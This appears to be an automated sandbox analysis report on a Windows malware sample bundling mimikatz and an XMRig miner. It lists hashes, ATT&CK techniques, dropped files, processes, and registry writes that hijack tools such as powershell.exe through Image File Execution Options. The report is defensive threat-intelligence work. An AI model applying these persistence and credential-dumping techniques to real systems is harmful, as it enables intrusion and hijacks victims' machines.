mimikatz | f1fadff3ecc83584efaa83351825d46b105ef42a6bae7d9e97b7e01443f869f4

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
24/07/2024, 10:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe
Size 8.4MB
Sample240724-mnllpasakl
SHA256 f1fadff3ecc83584efaa83351825d46b105ef42a6bae7d9e97b7e01443f869f4
MD5 d2ccddb5e5fe5e26bc57a7e7c8431afe
SHA1 66006a5eb5fc49e06ba2457a292991dced2215d3
SHA512 37019792645cb40c7a55bb9be9201adc156ccb824c741c407168c0912bd45139cbbc741a60bf66e8005f6d050b8c2ccc51413e7ee1c4a83519090f61f9c28ffa
SSDEEP 196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3964 created 2116	3964	vevbrhb.exe	38

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (27367) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/4480-181-0x00007FF719920000-0x00007FF719A40000-memory.dmp	xmrig
behavioral2/memory/4480-193-0x00007FF719920000-0x00007FF719A40000-memory.dmp	xmrig
behavioral2/memory/4480-199-0x00007FF719920000-0x00007FF719A40000-memory.dmp	xmrig
behavioral2/memory/4480-211-0x00007FF719920000-0x00007FF719A40000-memory.dmp	xmrig
behavioral2/memory/4480-225-0x00007FF719920000-0x00007FF719A40000-memory.dmp	xmrig
behavioral2/memory/4480-233-0x00007FF719920000-0x00007FF719A40000-memory.dmp	xmrig
behavioral2/memory/4480-238-0x00007FF719920000-0x00007FF719A40000-memory.dmp	xmrig
behavioral2/memory/4480-251-0x00007FF719920000-0x00007FF719A40000-memory.dmp	xmrig
behavioral2/memory/4480-266-0x00007FF719920000-0x00007FF719A40000-memory.dmp	xmrig
behavioral2/memory/4480-267-0x00007FF719920000-0x00007FF719A40000-memory.dmp	xmrig
behavioral2/memory/4480-269-0x00007FF719920000-0x00007FF719A40000-memory.dmp	xmrig
behavioral2/memory/4480-270-0x00007FF719920000-0x00007FF719A40000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 6 IoCs

resource	yara_rule
behavioral2/memory/4236-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/4236-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x00070000000234f5-6.dat	mimikatz
behavioral2/memory/3588-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/1956-136-0x00007FF7F89D0000-0x00007FF7F8ABE000-memory.dmp	mimikatz
behavioral2/memory/1956-137-0x00007FF7F89D0000-0x00007FF7F8ABE000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	vevbrhb.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	vevbrhb.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	vevbrhb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	vevbrhb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	vevbrhb.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3012	netsh.exe
3728	netsh.exe

Executes dropped EXE 29 IoCs

pid	Process
3588	vevbrhb.exe
3964	vevbrhb.exe
3568	wpcap.exe
2028	abejbmtbe.exe
1956	vfshost.exe
2532	blirnnmwb.exe
2244	xohudmc.exe
3724	mesuau.exe
4480	yakbjd.exe
1680	blirnnmwb.exe
4328	blirnnmwb.exe
32	blirnnmwb.exe
4936	blirnnmwb.exe
1496	blirnnmwb.exe
1140	blirnnmwb.exe
2916	blirnnmwb.exe
5068	blirnnmwb.exe
4236	blirnnmwb.exe
4348	blirnnmwb.exe
4492	blirnnmwb.exe
3364	blirnnmwb.exe
624	vevbrhb.exe
1920	blirnnmwb.exe
3472	blirnnmwb.exe
5108	blirnnmwb.exe
3384	blirnnmwb.exe
4992	blirnnmwb.exe
3932	yudzuibgc.exe
60	vevbrhb.exe

Loads dropped DLL 12 IoCs

pid	Process
3568	wpcap.exe
3568	wpcap.exe
3568	wpcap.exe
3568	wpcap.exe
3568	wpcap.exe
3568	wpcap.exe
3568	wpcap.exe
3568	wpcap.exe
3568	wpcap.exe
2028	abejbmtbe.exe
2028	abejbmtbe.exe
2028	abejbmtbe.exe

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000002352e-135.dat	upx
behavioral2/memory/1956-136-0x00007FF7F89D0000-0x00007FF7F8ABE000-memory.dmp	upx
behavioral2/memory/1956-137-0x00007FF7F89D0000-0x00007FF7F8ABE000-memory.dmp	upx
behavioral2/files/0x0007000000023539-140.dat	upx
behavioral2/memory/2532-141-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/2532-149-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/files/0x0007000000023536-163.dat	upx
behavioral2/memory/4480-164-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx
behavioral2/memory/1680-170-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/4328-174-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/32-178-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/4480-181-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx
behavioral2/memory/4936-183-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/1496-187-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/1140-191-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/4480-193-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx
behavioral2/memory/2916-196-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/4480-199-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx
behavioral2/memory/5068-201-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/4236-205-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/4348-209-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/4480-211-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx
behavioral2/memory/4492-214-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/3364-218-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/4480-225-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx
behavioral2/memory/1920-227-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/3472-230-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/5108-232-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/4480-233-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx
behavioral2/memory/3384-235-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/4992-237-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp	upx
behavioral2/memory/4480-238-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx
behavioral2/memory/4480-251-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx
behavioral2/memory/4480-266-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx
behavioral2/memory/4480-267-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx
behavioral2/memory/4480-269-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx
behavioral2/memory/4480-270-0x00007FF719920000-0x00007FF719A40000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
86	ifconfig.me
87	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	vevbrhb.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\mesuau.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	vevbrhb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	vevbrhb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	vevbrhb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	vevbrhb.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	vevbrhb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	vevbrhb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2DEAA270F2A3ADDABB8505E3C5BD28E8	vevbrhb.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\mesuau.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	vevbrhb.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	vevbrhb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2DEAA270F2A3ADDABB8505E3C5BD28E8	vevbrhb.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\trch-1.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\libxml2.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\docmicfg.xml	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\AppCapture32.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\crli-0.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\schoedcl.xml	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\vimpcsvc.xml	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\AppCapture64.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\glcnqktpu\scan.bat	vevbrhb.exe
File opened for modification	C:\Windows\cbqgwgbak\glcnqktpu\Packet.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\exma-1.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\svschost.xml	vevbrhb.exe
File created	C:\Windows\ibbkgibu\docmicfg.xml	vevbrhb.exe
File opened for modification	C:\Windows\ibbkgibu\vevbrhb.exe	2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe
File created	C:\Windows\cbqgwgbak\glcnqktpu\Packet.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\zlib1.dll	vevbrhb.exe
File opened for modification	C:\Windows\cbqgwgbak\glcnqktpu\Result.txt	yudzuibgc.exe
File opened for modification	C:\Windows\ibbkgibu\vimpcsvc.xml	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\glcnqktpu\ip.txt	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\glcnqktpu\yudzuibgc.exe	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\vimpcsvc.exe	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\spoolsrv.xml	vevbrhb.exe
File created	C:\Windows\ibbkgibu\spoolsrv.xml	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\tucl-1.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\Shellcode.ini	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\Corporate\vfshost.exe	vevbrhb.exe
File created	C:\Windows\ibbkgibu\vimpcsvc.xml	vevbrhb.exe
File opened for modification	C:\Windows\ibbkgibu\spoolsrv.xml	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\upbdrjv\swrpwe.exe	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\glcnqktpu\wpcap.exe	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\libeay32.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\ucl.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\spoolsrv.xml	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\glcnqktpu\wpcap.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\Corporate\mimilib.dll	vevbrhb.exe
File opened for modification	C:\Windows\ibbkgibu\schoedcl.xml	vevbrhb.exe
File opened for modification	C:\Windows\cbqgwgbak\Corporate\log.txt	cmd.exe
File created	C:\Windows\ibbkgibu\vevbrhb.exe	2024-07-24_d2ccddb5e5fe5e26bc57a7e7c8431afe_hacktools_icedid_mimikatz.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\tibe-2.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\docmicfg.xml	vevbrhb.exe
File created	C:\Windows\ibbkgibu\svschost.xml	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\xdvl-0.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\spoolsrv.exe	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\schoedcl.exe	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\Corporate\mimidrv.sys	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\cnli-1.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\svschost.xml	vevbrhb.exe
File opened for modification	C:\Windows\ibbkgibu\docmicfg.xml	vevbrhb.exe
File opened for modification	C:\Windows\ibbkgibu\svschost.xml	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\schoedcl.xml	vevbrhb.exe
File created	C:\Windows\ime\vevbrhb.exe	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\glcnqktpu\abejbmtbe.exe	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\coli-0.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\posh-0.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\docmicfg.exe	vevbrhb.exe
File created	C:\Windows\ibbkgibu\schoedcl.xml	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\ssleay32.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\trfo-2.dll	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\specials\svschost.exe	vevbrhb.exe
File created	C:\Windows\cbqgwgbak\UnattendGC\vimpcsvc.xml	vevbrhb.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1784	sc.exe
4312	sc.exe
224	sc.exe
968	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
